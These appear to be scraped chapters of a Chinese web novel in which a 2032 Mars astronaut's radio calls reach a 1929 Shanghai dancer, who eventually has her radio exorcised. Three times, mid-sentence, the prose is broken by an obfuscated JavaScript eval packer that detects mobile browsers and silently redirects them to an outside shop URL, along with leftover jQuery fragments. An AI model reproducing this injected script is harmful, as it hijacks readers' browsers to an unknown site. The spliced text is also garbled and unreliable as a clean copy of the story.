她说道:“北京,这里是天梯一号,我们已安全抵达火星空间站,收到请回答!” 5. 第4章 2032年。 陆遥缓缓地吸入一口气,走进指挥舱。 指挥舱里安装着四个茧状座椅舱,当飞船发射时,他们四个宇航员将躺入舱中,让液体缓冲材料包裹他们的全身,以免巨大的加速度碾碎他们的血肉和骨骼。 指挥舱里很安静,除了广播中指挥中心的指令,听不到任何声响。然而陆遥知道,此时此刻,在封锁区外,等待着来自世界各地的无数记者、摄影师、主播和游客。而在全世界无数大大小小的屏幕中,他们的一举一动,一抬手一投足都被直播了出去。 所有人都在看,等着见证那历史的一刻——等着她,还有她的三位伙伴乘坐“天梯一号”上天,成为登陆火星的第一人。 她听到她身旁的安德烈·休斯喃喃地念了几句祷词。陆遥努力地回忆了一下,似乎不记得在他们一起工作、生活的几个月里,他曾在任何时候提及过自己的信仰。 看来真的到了这个时刻,每个人的反应还是不一样。她想,而后惊异地发觉自己的心情与平时的模拟训练没有任何不同,平静至极。 或许是因为她天生情感淡漠吧? 昨天,也就是发射的前一天,他们一天没有任务,所有宇航员的家人和朋友都被接到训练基地,与他们团聚。在最后的分别的时候,她的父母亲哭成了泪人,她的心中却几乎毫无波动,只是无比平静地宽慰了他们,然后送他们离开。 这种淡漠让她能够时时保持冷静,天生抗压能力极强,却也让她从小到大没有哪怕一个亲近的朋友。当然,她上学时不断跳级的经历,以及其他同学对她的敬畏,也是导致这结果的另一个原因。 她对此并不感到遗憾,这只是她对自身的一项客观的认知。 通讯器里传来了指令,陆遥收回思绪。他们开始检查飞船系统,连接生命装置,做出最后的准备。所有的动作经过千百次的训练已经融入他们的身体,成了条件反射。一切就绪,然后便是等待。 林梦晨盯着大屏幕,紧张地咬着手指。 离正式发射只剩五分钟的时间了。尽管之前经历过无数次的试射和模拟训练,他们仍无法保证这一次能够百分百成功。 指挥员冷静的声音在大厅里回荡:“各位注意,三分钟,准备!” 而后是两分钟、一分钟。 指挥员的播报越来越频繁:50秒、40秒、30秒…… 最后便是倒数十个数:“10、9、8、7、6、5、4、3、2、1……” 大厅里所有人的动作都静止了,机器的嗡鸣声之外,只能听到指挥员最终的指令:“点火!” 下一秒,飞船的箭尾放出耀眼的光芒,片刻的延迟之后,基地大楼外传来了仿佛能撕裂天地的爆响! “天梯一号”平稳地推进向上,而后,速度越来越快,转眼间便消失在天际之中! 屏幕显示飞船进入了预定轨道,控制中心爆发出一阵鼓掌欢呼。 尽管知道此时庆祝成功为时尚早,林梦晨仍不自禁地松了一口气。下一次宇航员联系地球是在飞船进入定速飞行的时候。作为宇航联络员,在那之前她没有任何工作任务。 整个控制中心都显得放松了许多,人们开始相互交谈。然而,在这轻松的氛围里,林梦晨突然发现她的一位同僚悄然起身,奔向立在控制中心后端掌控全局的发射总监。 两人面容严肃地说了几句什么,而后,几个部门的分管领导,包括周超,都被不引人注目地叫了过去。几个人悄声讨论一阵,似乎达成了什么一致,才各自散开。 周超转过身,正好对上林梦晨远远望着他们的眼睛。 林梦晨连忙扭过头,装作一副她什么都没有看见的样子。却不想,周超居然亲自走过来了,拍了拍她的肩膀,笑着道:“走吧!正好趁这个工夫去吃饭去!” “好。”林梦晨呐呐道。 走在路上,她终究耐不住好奇心,问道:“超哥,你们刚才到底说什么了呀?” 她记得那位同事是负责监测火星空间站的,他们讨论的事也必然与火星空间站有关。 周超轻描淡写地道:“哦,没什么大事。一个高轨道卫星监测到有几个不知名飞行物正高速飞向火星的方向。不过离火星还非常远,只有很小的概率会撞在火星上。等他们的飞船到的时候应该早就飞走了,不用担心。” 林梦晨脑子里突然空白了一瞬,呆愣愣地道:“不知名飞行物?该不会是外星人吧?” 周超失笑,轻轻地拍了她的脑袋一下,道:“你想什么呢!怎么会是外星人?估计也就是不知道从哪里飞过来的小行星碎片之类的。很常见。” 林梦晨道:“好吧……” 许是见她仍一副十分担忧的样子,周超转移话题道:“对了,之前一直没来得及跟你说,关于你的工作安排,我记得你不是特别喜欢陆遥吗?我跟他们商量了一下,这次你就主要负责和陆遥对接,排班表应该已经出来了,很快就会发到你们手上,你记得注意看一下!” 这一下,林梦晨真的彻彻底底地愣住了。她不是没有幻想过这件事,却没想到,她的梦想居然实现得这么快! 她长吸一口气,两步助跑,猛然扎扎实实地熊抱在周超身上:“超哥你对我真好!!” “咳咳咳,我喘不过来气了,快下来,快下来!” “就不!” “……” 几周后。 “各位请注意,飞船减速完成。一切系统正常。我们已进入火星轨道,即将接近火星空间站,准备对接。” 陆遥听到联络器中传来他们这次任务的指挥官王亦刚的声音。 数周的飞行时间倏忽而过。若不是监测室中不断变动的数据,陆遥几乎错觉他们仍在训练基地的模拟中心,从未离开地球表面。 然而事实是,他们已经飞越了数千万公里,到达了前人所从未踏足过的地方。 “收到。” “收到。” “收到。” 火星空间站是举世界各国之力建成,宇航员也是从世界范围内选拔而来的。除了作为指挥官的王亦刚和她本人,安德烈·休斯和阿列克谢·克拉索夫斯基的中文都谈不上流利,然而联络器中的实时翻译能让他们的对话进行得毫无障碍。 陆遥快速地点动着她眼前的控制面板,确认一切数据无误,道:“推进器检查完毕,对接系统检查完毕。一切正常。” “收到。”王亦刚道。 大屏幕上早就已经能看见火星空间站的影像,从空间站主体向外延伸的一排排黑色太阳能板仿佛展开的羽翼,让它看起来像一只怪异的大鸟,或者某种冷酷的机械神明。 陆遥把目光从屏幕上收回来,报出面板上的数据:“距离火星空间站20千米。”她顿了顿,“10千米,5千米,3千米,2千米,500米,100米,已对准对接端口,准备开始对接程序。” 王亦刚道:“好,开始对接程序。” 紧接着,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504979|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵轻微的震动,温柔的系统女声响了起来:“对接已完成,欢迎来到火星空间站。” 所有人都稍松了一口气。在飞行过程中,他们接到了地控中心的通报,称有七到九颗小行星在向火星高速靠近。 尽管最后所有小行星都险险地与火星擦肩而过,但他们依然担忧会有部分散落的流星体撞上火星空间站,对空间站造成不可修复的损害。 但至少,从完成对接后,系统并未做出任何警报这一点来看,即便有任何损伤,那也不是致命的。 紧接着便是标准流程。打开对接舱门,进入气闸室,等待气压平衡,而后,再次打开舱门,他们便真正进入了火星空间站。 感应到他们的到来,空间站的照明系统已自动亮起。王亦刚道:“先四处检查一下,看看哪里有没有什么问题。陆遥,你去那边,安德烈,阿列克谢,跟我来。” 陆遥道:“收到。”他便点点头,带着两人飘走了。 陆遥转过身,飘向他所指的方向。飘到尽头,才意识到她来到了观测舱。透过透明的强化玻璃,她脚下是一颗赤红的星球。巨大的冰盖覆盖在两极之上,而在遥远而广阔的沙漠里,有沙尘暴在尽情肆虐。 这是火星。 他们真正来到了火星。 她抬起头,在头顶目之所及之处,有一个小小的蓝点,与一个更小的灰点相伴,那是他们几千万公里外的故乡。 “起居舱检测正常,储存舱正常。”联络器里传来安德烈的声音。 阿列克谢的声音随之响起:“实验舱正常,着陆器正常。” 陆遥飘到舱门旁的监测面板,核对了几个关键数据,道:“观察舱检测正常。” 很快,所有人检查完毕,确认空间站并无大碍。王亦刚道:“好。陆遥,你去做准备通讯器,准备联系地球。我和他们两个去清点一下储存舱的食物和用水。” 他们这次任务所需的居住和生活用品早在几个月前便已先行送达空间站,是由人工智能全权负责的,要经过人为检查才能真正确认无误。 陆遥设置好通讯器。她知道,地控中心应当在几个小时,乃至几天前便已开始等待他们的联系。而他们的通信又将通过广播、电视和网络转播给世界各地的不知道多少人。 她打开通讯器,先试验了一下:“北京,这里是天梯一号,我们已安全抵达火星空间站,收到请回答!” 而后,她等待着。 然而,过了将近二十五分钟,通讯器的尽头依然无人回应。陆遥皱起眉。 此时火星位于近地点附近,按照地球和火星的相对位置来说,他们收到回应的时间应当不超过十五分钟。 阿列克谢飘了过来:“怎么回事?通信器出问题了吗?” 陆遥摇了摇头:“不知道。” 阿列克谢道:“你再试一试。” 于是陆遥又试了一遍:“北京,这里是天梯一号,我们已安全抵达火星空间站,收到请回答!” 这一回,回应她的是整个控制中心铺天盖地的欢呼声。 转播开始了。数不清的记者开始轮流对他们提出问题,她、阿列克谢,以及清点完毕的王亦刚和安德烈对那些问题一一作出回答。 然而,陆遥并没有忘记刚刚通讯器的异常。与之相反,那反常如一小块阴霾般轻轻地笼罩在了她的心上——在这深深的太空里,哪怕是最轻微的差错,也可能会导致最严重的后果。 她决心要找出问题的答案。 6. 第5章 一九二九年。 之后几日,小百合再没打开那个收音机。 那晚,她听到了那句古怪的话,愣在原地,还没想明白“收到请回答”是什么意思,收音机便又恢复了原本“沙沙”的噪声。她等了一阵,那女声却再未响起。 小百合凭着残留的印象记下她听到的那句话,但思来想去,怎么也搞不明白那到底是什么意思。 “天梯”她是知道的。 当初资助他们孤儿院的爵士据说对中国的古诗极有兴趣,他们的院长便也投其所好,请了人来教他们。在那爵士来视察时,每每都要让他们列成一排,吟上几句,其中自然也包括李白的《蜀道难》——“地崩山摧壮士死,然后天梯石栈相钩连。” “一号”她也是知道的。 他们的舞厅外总有许多司机和小轿车等着,为了能让他们及时来接自己的主人,舞厅的老板特地在街上用霓虹灯贴起了号牌。每当与车子对应的号码亮起,司机便知道该到大门来接人了。 可是,“天梯一号”又是个什么玩意? “火星”她是知道的。 火星,又名“荧惑之星”,主不祥,哪怕在遥远的西方,也有“战争”和“死亡”的意味——她曾接待过一位金发碧眼的洋客,操着一口流利的汉语,在与她调情时不知怎得说起了天上的星星,便滔滔不绝地讲演了起来,甚至引得他们周围的不少人竖起耳朵偷听。 可是,“空间站”又是个什么玩意? 她翻来覆去地在纸上写下好几种写法,又一一涂去。是“空艰占”、“空监站”、还是“空间战”? 小百合在报纸上读到过,这世上有一种仗是在天上打的。天上战机飞来飞去,互相都想把对方打下来。 但是,放到这句子中,又似乎哪个都不对。 或许只是一个她从来没听说过的地名吧…… 小百合气馁地放弃了。 然而在当晚的睡梦中,她的眼前却不断浮现出一座座用石梯相互连起的险峻大山,每座山的山头都用霓虹灯标出了号码:“一号”、“二号”、“三号”……这些霓虹灯又摇身一变,变成了一团团似星星,又似飞机的火光,颜色赤红,闪闪烁烁,飞快地在一个面目不清,嘴唇不停张合的洋人头顶到处流窜。 一觉醒来,小百合只觉疲惫不堪,这觉还不如不睡。 在那一晚之后,谭荣名也有好几日没来。 小百合担忧了一阵是不是她的拒绝冒犯了他,但又自忖,即便知道了这个结果,她仍会这么做,便不再去想——更何况,谭荣名之前也有过多日不来的时候,或许这次也与她无关。 果然,没过两日,谭荣名便又来了。 他绝口不提那晚在小百合公寓发生的事,只绅士地邀请她跳舞。当一曲终了,他才开口道:“这几日,你用我送给你的收音机了吗?” 小百合自然是没有的。 她嫣然一笑:“当然了。那是你送给我的,我怎么会不用?” 谭荣名道:“怎么样?有没有听到什么有意思的?” 小百合道:“有一个台,好像总是在放音乐,很好听。” 谭荣名道:“哦?都有什么音乐?说来听听。” 小百合做出一个苦恼的表情,道:“好多外国人的名字,我都记不清了。应该有一个叫柴什么什么斯基的人,他的音乐好激烈啊,听得我心脏都要跳出来了……” 谭荣名笑了:“你说的是柴可夫斯基吧?他是一个俄罗斯音乐家。我在欧洲时也经常听他的交响乐……” 小百合微笑地听着他讲。 严格而言,她也并没有撒谎。那晚在谭荣名走后,她确实听了一阵音乐,并且有意地将电台的介绍记了下来——从介绍词中,她听出那一定是位在欧洲很有名气的音乐家,谭荣名必定不会不知道。 因此,当他问起她在收音机里听到什么时,她也便有了可以说起的话题。 而接下来,她只要要表现出一副好奇的样子,不时点头附和,并且偶尔惊讶地提出一两个不难回答的问题就好了。 她早就发现,这是和男人聊天最简单的方式。哪怕对方是谭荣名,也不外如此。 等他讲得尽兴了,他们的第二支舞也跳完了。 小百合邀请谭荣名到旁边的小桌小坐,他为她点了一杯果汁,又给自己点了一杯葡萄酒。 趁着他品酒的时候,小百合问道:“对了,谭大哥,如果电台对面的人让我‘收到请回答’,我该怎么做呢?只要对着收音机说话就好吗?” 谭荣名一愣,又笑了,道:“你这是从哪里听来的?不会有人这么说的。收音机压根就没这个用法。” 小百合道:“真的吗?可是……”她犹豫了一瞬,终究还是没有对他说出她听到的那句话。那果然还是太过古怪了。 谭荣名道:“那肯定的。你知道什么是‘波’吗?”他对小百合略微说了说收音机的工作原理,最终下结论道,“所以,电台里的人是不会让你‘收到请回答’的。你放心好了!” 小百合点了点头:“我明白了。”她转而问道,“那谭大哥,你知道‘空间站’是什么吗?” 谭荣名皱起眉:“这也是你在收音机里听到的?他原话是什么?” 小百合含混地道:“我只是偶然听到了这个词,原话已经记不太清了。” 谭荣名的眉头舒展开:“那应该是你听错了。他说的应该是‘攻坚战’吧?” 小百合无辜地歪了歪头:“攻坚战?” 于是,他抿了一口红酒,又讲起了战争,从《三国志》张辽的“攻坚陷阵,无不克者”讲到了一九一六年德法的凡尔登战役。 2032年。 林梦晨一口气灌下一杯冰咖啡,微微打了一个冷颤。 今天是她值夜班的第一天。不对,她订正自己,今天是她或许有机会和陆遥说话的第一天! 尽管早些时候,周超面带歉意地告诉她她负责的第一班轮值是晚班,也是宇航员们的正常休息时间,估计不会与地面联络,但谁又能说得准呢?万一他们突然想念地球了,想找谁说说话呢?说不定,聊着聊着,他们就慢慢地变成朋友了呢! 如果错过了这个机会,岂不是后悔都来不及? 大概,能够和偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504980|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一起工作的迷妹都会是她这种心情吧?哪怕知道概率很小,仍止不住心中的憧憬。 林梦晨拍了拍自己的脸,振奋振奋精神。 虽然他们的主业是与宇航员通讯,但日常工作中仍有不少资料要看,报告要写,正好趁着晚班的时候完成。 然而,她打开下一周的科学实验计划书,还没读上几页,突然听到耳机里传来一个年轻的女声:“这里是陆遥,呼叫北京,收到请回答。” 林梦晨浑身一个激灵,她用一只手掐住另一只手的手心,勉力用她最平静的声音答道:“收到,陆遥。这里是北京,请问有什么事吗?” 陆遥停顿了片刻,道:“没什么大事。只是,前日我们刚刚到达时,第一次尝试与地球建立连接没有成功,我没能排查出问题在哪,想与你再确认一下。” 她的声音十分清晰,仿佛就在隔壁的房间与林梦晨对话,而不是隔着整个地球到火星的距离。 林梦晨道:“好的,我明白了。”她调取出之前所有的通讯记录,“你说的是27日下午13时27分48秒的通话吗?” 陆遥道:“是的。在那之前我还有过一次尝试,但未能接通。” 林梦晨拖动界面,又仔细地读了一遍,道:“抱歉。我这里没有任何相关记录。”她又道,“请问你将这件事汇报给王亦刚指挥官了吗?是否需要我进行上报?” 陆遥道:“我已汇报给王亦刚指挥官,指挥官认为只是正常的信号不稳。不必进行上报了。不过……”她犹豫了片刻,“我可否在非工作时间不定期与你进行联络?确认一下这是不是偶发事件,或者是不是有什么规律?” “当然可以,请随时与我联系!!” 说完,林梦晨懊恼地咬住了舌头。她的语气太激动,太热切了,显得一点都不专业。 然而,她听见耳机里传来了轻笑声,陆遥道:“好的。你是……林梦晨是吧?我这里有你的排班表,期待下次与你联系。再见。” 陆遥结束了通话。 不过短短几句话,因为通讯的延迟,她们花费了将近一个小时的时间。 然而林梦晨却丝毫没觉得已经过去了那么久。 她在座位上直直地坐了一会,而后深吸了一口气,站起身,走到走廊,进入卫生间的隔间,把门锁上,才用两只手手捂住嘴,“啊啊啊啊啊啊!!”地叫了出来。 按理说这是理所当然的,但林梦晨之前从来没有想过,陆遥也是有他们的轮次排班表的。而且,她不仅记住了林梦晨的名字,查看了她的排班表,还说下次再联系她! 尽管理智告诉她,这只是为了控制事态的影响范围,陆遥不想在查出通讯器的问题之前,把事情闹得人尽皆知。但她的情感表示:她不管,这分明就是一场伟大友谊的前奏! 林梦晨又呆了两分钟,平复好心情,走出隔间。 卫生间的镜子前有一位不知道哪个部门的同事正在洗手,见她出来,用异样的眼神看向她。 林梦晨脸上一热,轻咳两声,直接从大门走了出去。 她感觉自己比刚刚灌下冰咖啡时更加精神抖擞。 7. 第6章 一九二九年。 小百合最终说服自己,那天晚上她只不过是听错了。那个女声说的或许是哪个地方的方言,她听不懂,也是正常。 至于为何在说完一句话之后就断了线,想必也只是一个偶然罢了。 不过,之后两三日,她每天打开收音机,依然要先提起一口气,将旋钮旋转到底,但她再也没收到那个电台。 她渐渐放松下来,开始真正享受起这个收音机。收音机能收到的电台不多,但总归是时事评论、音乐鉴赏、戏剧评弹,什么都有,播放的内容也不大重复,听起来倒也饶有趣味。 这一日,舞场里没什么熟客找她,小百合与新客跳了几支舞,看差不多坐够了钟,便向张妈妈打了招呼,提前收了工。 到家时为时尚早。她随手打开收音机,一边收拾她刚刚从楼顶收下来的干净衣裳,一边盘算着明天早些起来,回孤儿院看看。 她早先对孙老三说过两日回去,这也有几天了。 这几年那位爵士的打款时来时不来,日子过得紧,院长已经很久没有接收过新的孤儿。长大成人的早去自谋生路,此时留在孤儿院里的孩子不剩几个,几乎都是在她和孙老三的照顾下长大的。 小百合每次回去时,总要给他们带些礼物。 “这次要买点什么呢?”她想,“明天去集市上看看吧!” 收音机里正放着此时风靡的流行歌曲,女声轻柔,总让她觉得有几分熟悉,或许是舞场的老板请她来舞厅演唱过。 小百合不知不觉生出几分困意,她掩住一个哈欠,手上的动作又快了几分——今日可以早些睡觉了。 她叠完了衣裳,便要去关收音机,手却不自觉地伸向旋钮,一扭到底。 沙沙的声音响起,小百合愣了一秒,才反应过来她摁错了按钮。 她失笑了一下,对自己摇了摇头,又伸出手。 然而,没等她的手碰到开关,那沙沙声消失了,断断续续、时高时低的女声突然又响了起来:“这里是陆遥,呼叫北京,收到请回答。” 小百合的睡意瞬间一扫而光,她感到自己浑身的寒毛都竖了起来。 “没事的。”她勉力让自己镇定下来,回想着谭荣名对她解释的收音机的原理,自语道,“她听不到我,她听不到我。” 然而,刚刚沉默了一瞬的收音机又响了起来。这一次,那女声中多了几分疑惑:“梦晨?是你吗?” 梦晨,这似乎是一个女孩的名字。 或许是在演什么话剧吧? 这几日她收音机听得多了,才明白有时候电台也是会放话剧对白的。 小百合又镇定了几分,微微撅了撅嘴,玩笑般地低语道:“不,我是小百合。” 那女声道:“小百合?这是你给自己起的代号吗?” “啪嗒!”小百合猛然起身。她身后的椅子被她的动作带倒,砸在地上,发出巨大的声响。 那女声似觉出不对,又问道:“怎么了?出了什么事吗?” “啪!”这一次,小百合干脆利落地关掉了开关。她心惊胆战地盯着收音机看了片刻,又果断地拔掉了电源。 2032。 陆遥从手头正在整理的数据上抬起眼,微皱起眉,盯着她的通讯器。 她刚刚以为那只是林梦晨在与她开玩笑,可此时,她却没有那么确定了。 她的心中微觉不安,尝试再次建立连接:“这里是陆遥,呼叫北京,收到请回答。” “收到,陆遥。这里是地球,联络员林梦晨为您服务,请问有什么事吗?” 这一次,女孩的声音里带着活泼的笑意,无疑是林梦晨没错。但陆遥的眉头却皱得更深了——假如此时她的对面是林梦晨,那刚才的是谁? 而且,方才整理资料时没有注意,此时她才后知后觉地意识到,她的前一次对话,通讯延迟是不是过于短暂了? 她问道:“梦晨,你刚刚接收到我的通讯请求了吗?在这一次之前?” 女孩的声音里透出疑惑:“在这次之前?”她安静了片刻,只能听到噼啪的键盘声,又肯定地道,“没有。只有这一次的记录。” 陆遥道:“好的,我知道了。稍后与你联系。” 她结束了通话,调取出刚刚的通话信息。 按理说,他们通讯器的后台是时时刻刻保持在记录状态的。不仅在有通信时会记下联络方的频率、通话的时长和内容,在没有通讯时,也会时时记下通讯器自身的状态,以及是否接收到无规律信号等等。 她刚刚和林梦晨的对话便记录在案。 然而,当她再查阅那之前一分钟的通信情况时,界面显示的却是“Null”,一片空白。 一九二九年。 小百合宛如游魂般在集市里飘荡着。 街边的摊主似是见她脸色不好,搭话道:“小姑娘,怎么这么没精神?来一束花呀?便宜给你。” 小百合有气无力地道:“多谢,不用了。” 昨晚她莫说早睡了,睁着眼盯着天花板,直盯到天色泛白,才似睡非睡地眯了一会儿,又早早被噩梦惊醒,再也睡不着了。 她在床上颠来倒去了一阵,眼神控制不住地往柜子上飘——昨夜她拔掉了电源还不放心,干脆把她的珠宝掏出来,把收音机锁进了保险柜里。 这收音机本就贵重,又是谭荣名送的,扔是绝不可能扔的。 该怎么办?要去再问问谭荣名吗? 可是她明明已经问过同样的问题,再问一遍,岂不是显得她愚蠢又惹人厌烦? 小百合想得心烦意乱,又睡不着,干脆依原来的计划来到了集市上。 礼物她是没什么心思认真挑了,随意选了几样,便拦了一辆黄包车,来到孤儿院。 孤儿院藏在一条小巷的尽头,也无人守门。小百合直接走进那狭窄的小院,刚一进去,立刻就有人发现了她,尖叫道:“小百合回来了!” 小百合听出那是孙十一,是孤儿院里最小的男孩。 他们的院长起名极懒。若是男孩,有姓名的,便沿用原名原姓,如果没有,就跟他姓孙,以收养的顺序为名。女孩就更加随意了,几乎是他看到了什么,便叫什么。小百合被扔到孤儿院门口时,头上别了一朵半枯萎的百合花,他便叫她“小百合”了。 许多人以为“小百合”只是她在舞场的艺名,其实不是。 孙十一这么一叫,所有人都冲了出来,瞬间把她围住了:“小百合你怎么才回来!” “你这回给我们带什么了!” “让我看看,让我看看!” 小百合把手上的新衣服、玩具、零食给他们分了,趁着他们欢欢喜喜地摆弄手里的东西时清点了一番,道:“院长不在?老七和蔓蔓呢?” 老九从他的木制的小轿车模型上抬起头来:“嗯,院长不在!老七去摆摊了,蔓蔓……” 他犹豫地停住了。 院长有时候会带回来一大篓竹叶,让他们编成诸如蚂蚱、小鸟之类各种各样的摆件,再拿出去卖,这小百合是知道的。她追问:“蔓蔓怎么了?” 老九为难地道:“蔓蔓,蔓蔓出去送报的时候在路上被人撞了,摔断了腿。她不让我们跟你说,但是……” 小百合脸色一变,奔向孤儿院他们住宿的小楼。 送报的活她之前是做过的,不仅要起早贪黑,挨家挨户、风雨无阻地长途跋涉,更会在收钱时遭遇各种刁难。在她送报时,甚至遭过流氓的骚扰,幸亏她机灵跑得快,才逃过一劫。 当她开始在舞厅跳舞时,蔓蔓就想接过她的班。但她本来体质就比小百合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504981|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱上许多,性格又腼腆,小百合便阻止了她,却没想到她还是偷偷去了。 小百合冲上楼,果然,蔓蔓正躺在她的床上,整个人显得苍白而瘦弱。她盖着一床薄被,一条腿裹得严严实实的,支在外面。 看到小百合进来,她“啊”了一声,低下了头。沉默了片刻,才不好意思地道:“你来了啊,百合姐!” 小百合原本不想责备她,却还是忍不住道:“不是不让你去了么?你怎么还是……”她住了口,转而问道,“是谁撞了你?是小轿车?还是黄包车?” 蔓蔓摇了摇头:“我没注意,等我反应过来的时候,他已经没影了。”她偷偷抬眼看了一眼小百合的脸色,又低下了头,“抱歉,百合姐,是我太笨了。院长说这次的打款又没有来,我只是想给大家做一点贡献,没想到又给大家拖后腿了……” 小百合叹了一口气,道:“这种事轮得到你来操心?你呀……”她顿了顿,又道,“算了,不说这个了。你看我给你带了什么?” 她从怀中掏出一条项链,让它从指间垂下来。那项链虽不是纯银的,仍熠熠闪光,十分漂亮。 上一次她来时忘记摘掉客人送她的项链,尽管蔓蔓没说什么,但小百合仍看出了她向往的眼神,因此在集市上买了一条有几分相似的,只是价格要比她的那条便宜许多。 果然,蔓蔓立刻露出又惊又喜的表情,轻轻地道:“哇,这真的是给我的?百合姐你一定花了不少钱吧……”她接过来,不舍地捧在手心,端详着,“真好看……” 小百合温柔地揉了揉她的头:“收着吧,等你好了戴出来给大家看看!” 蔓蔓道:“好!” 之后小百合又和大家聊了一阵,聊到天色近黑,才依依不舍地走了。 等她到舞厅的时候,下午强行压下的倦意又成倍地翻涌了上来。刚一走进化妆室,陶菁便立刻凑了上来,奇道:“你昨天不是很早就走了?怎么还这样困?” 小百合只觉自己的脑子一点也转不动了,发生的事沉沉地压在她的心上,也让她实在想找人倾诉一番。 于是,她便把她收到收音机之后的事一一地说了:从起初的“收到请回答”,到谭荣名对她解释的收音机的原理,再到她打翻椅子后最后的那一句“出了什么事吗?” 在她讲述的过程中,她周围的舞女越聚越多,到了最后,化妆室的各个角落里,所有人都在听她说话。她们一边听,一边纷纷地议论了起来。 “我就知道这些洋玩意有古怪!” “你确定谭公子说的是对的?该不会,他其实也不懂吧?” “但我在报纸上看也是那么说的呀!” “对对对,王经理也有一个那样的收音机,他也给我听过,我肯定是没法跟对面的人说话的!” “到底是怎么搞得……” “够了,我知道是怎么回事了!” 突然,有人断喝道。 小百合扭过头,说话的是不知什么时候来了的朱璇。 她抱着臂,从靠着的墙上直起身,款摆腰肢,走了过来,道:“我以前有位客人自家开了影楼,他的一架照相机不知沾了什么脏东西,突然每张相片上都飘着一只鬼影!请人来看,说是有个冤魂被摄进里边去了!” 所有人都安静了下来,静静地听她讲。朱璇环顾一周,满意地接着道:“你家谭公子,肯定也是被人骗着不知从哪个歪门邪道买了那台东西。你听见的,是被困在里面的野鬼在对你说话呢!” “野鬼?!”众人惊呼道。 “没错!”朱璇笃定地道。她举起一枚涂着鲜红丹蔻的手指,对小百合道,“现在你要做的只有一件事。” 小百合道:“什么事?” “那自然是……”她道,“找一位神婆道士,捉鬼、驱邪了!” 8. 第7章 小百合好奇又紧张地盯着眼前的神婆。 那神婆双眼微闭,嘴里念念有词,手上仿佛在掐算什么,衬着她们面前摆在桌上,沙沙作响的收音机,显得好不古怪。 朱璇言出必行,昨日刚刚说完,今日一大早就风风火火地敲响了小百合公寓的门。她让小百合抱上收音机,又带着她在弄堂里七拐八拐,才来到一座偏僻的佛堂。 佛堂里的神婆一身僧衣,正在供桌前侍奉神像,摆放祭品。她们刚一进门,便头也不回地道:“你们来了?我正在等你们。” 朱璇笑道:“可不是,又来麻烦仙姑了!” 那神婆瞟一眼小百合怀里的收音机,道:“把东西放下吧,我给你们看看。” 谭荣名买的这个收音机颇为高档,没有电源时,也可以用电池供电。 小百合依言行事,想了想,又打开开关,将旋钮一拧到底,拧到那女声对她说话时的位置。 可此时收音机里传出的只有正常的沙沙声。 神婆听了一阵,道:“你是不是,总听见这东西里有人对你讲话?” 小百合犹豫了片刻,按理说,正常地收听电台,也该算是“有人对你讲话”。 然而,不等她想出该怎么回答,就听朱璇道:“是呀!仙姑您真是一如既往,料事如神!这收音机里的脏东西不仅叫出了我们小百合的名字,还问她怎么样呢!真是吓人!” 神婆点了点头,用清水洗了洗手,而后褪下脖子里的念珠,缠在手心,搭在收音机上,开始翻起双眼,叨念起来。 渐渐地,她的语速放缓,仿佛不是在念咒语,而是和半空某个看不见的人对话,有问有答。 如此好一阵,那神婆才长叹一声,道:“这也是个可怜人呐!他一个孤魂野鬼,远离乡土,缠在你这东西上,也只是想回家啊!”顿了顿,又道,“你这收音机,该是从海外来的吧?他刚刚告诉我,他是个死在海上的征夫,恰好与你这收音机坐了一条船,就附在了上面!” 小百合一愣。她突然想起了孤儿院的老五。老五早两年便上了个洋人的船,说要去务工,就此再无音讯。 可是,那些船上,有招女人的吗? 另一边,朱璇也跟着叹道:“原来如此!那您看接下来该怎么办?” 那神婆道:“好说!我做一个法,请上仙消了他的怨气,他也就该投胎去了!只是,上仙下凡一趟殊为不易,这供奉……” 朱璇道:“明白明白!”说着,从手包中取出两张纸币,握在手心,恭恭敬敬地行了两个礼,奉在神像前。 小百合连忙要去替她,却被她坚决地拦下了:“这是我对仙姑的一点心意,你不要与我抢!” 那神婆瞥一眼纸币的面额,当即从角落里拔出一支铜铃,喝道:“哇呀呀!好了,你们两个都退开,且让本仙姑施法!” 说完,便摇起铜铃,绕着收音机手舞足蹈了起来。跳着跳着,又换成了木剑,焦黄的符咒漫天挥洒,看得小百合眼花缭乱。 不知过了多久,她施完了法,小百合道过了谢,便抱起驱完邪的收音机往外走。 走到门口,她迟疑片刻,回身道:“仙姑,我并非质疑您的法力,不过,如果她还对我说话,我该怎么办呀?” 那神婆正在收拾做法的法器,闻言抬头道:“那就是他怨念太深,连我的法事也没法完全消解。你问问他还有什么执念,若能满足,就满足了他。若满足不了,多烧烧香,摆摆供奉,也就是了!” 于是,在回程的路上,朱璇又拽着小百合去买了香炉、莲灯、供盘、供香,水果、糕点、芝麻糖,还有一个据说被大师开过光的八卦镜。 